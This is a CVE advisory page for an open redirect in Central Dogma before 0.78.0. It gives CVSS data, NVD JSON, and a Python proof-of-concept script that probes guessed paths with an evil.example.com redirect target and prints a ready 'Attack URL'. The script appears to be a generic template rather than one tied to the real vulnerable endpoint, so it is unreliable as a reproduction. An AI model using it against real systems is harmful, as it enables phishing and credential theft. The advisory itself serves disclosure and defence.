Security Vulnerability Report
中文
CVE-2025-11222 CVSS 6.1 MEDIUM

CVE-2025-11222

Published: 2025-12-04 13:15:47
Last Modified: 2025-12-19 18:25:33

Description

Central Dogma versions before 0.78.0 contain an Open Redirect vulnerability that allows attackers to redirect users to untrusted sites via specially crafted URLs, potentially facilitating phishing attacks and credential theft.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:linecorp:central_dogma:*:*:*:*:*:*:*:* - VULNERABLE
Central Dogma < 0.78.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11222 PoC - Central Dogma Open Redirect # Affected versions: Central Dogma < 0.78.0 import requests import argparse def test_open_redirect(target_url, redirect_target): """ Test for Open Redirect vulnerability in Central Dogma Args: target_url: Base URL of Central Dogma instance redirect_target: Malicious URL to redirect to Returns: bool: True if vulnerable, False otherwise """ # Common paths that might be vulnerable paths = [ '/redirect', '/goto', '/jump', '/link', '/out', '/proxy', '/fetch' ] for path in paths: try: # Construct the potentially vulnerable URL # The redirect target is passed as a parameter params = {'url': redirect_target} response = requests.get( f'{target_url}{path}', params=params, allow_redirects=False, # Don't follow redirects timeout=10 ) # Check for open redirect indicators if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') if redirect_target in location or redirect_target in response.text: print(f'[+] VULNERABLE: {path} allows open redirect') print(f' Location header: {location}') return True except requests.RequestException as e: print(f'[-] Error testing {path}: {e}') return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-11222 PoC') parser.add_argument('--target', required=True, help='Target Central Dogma URL') parser.add_argument('--redirect', default='https://evil.example.com', help='Malicious redirect target') args = parser.parse_args() print(f'Testing {args.target} for CVE-2025-11222...') if test_open_redirect(args.target.rstrip('/'), args.redirect): print('\n[!] Target is VULNERABLE to CVE-2025-11222') print(f'[!] Attack URL: {args.target}/redirect?url={args.redirect}') else: print('\n[-] Target appears NOT vulnerable or paths not found')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11222", "sourceIdentifier": "[email protected]", "published": "2025-12-04T13:15:46.797", "lastModified": "2025-12-19T18:25:33.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Central Dogma versions before 0.78.0 contain an Open Redirect vulnerability that allows attackers to redirect users to untrusted sites via specially crafted URLs, potentially facilitating phishing attacks and credential theft."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linecorp:central_dogma:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.78.0", "matchCriteriaId": "73E1ACB6-C142-4B9E-91CB-7551C00F79ED"}]}]}], "references": [{"url": "https://github.com/line/centraldogma/security/advisories/GHSA-4hr2-xf7w-jf76", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}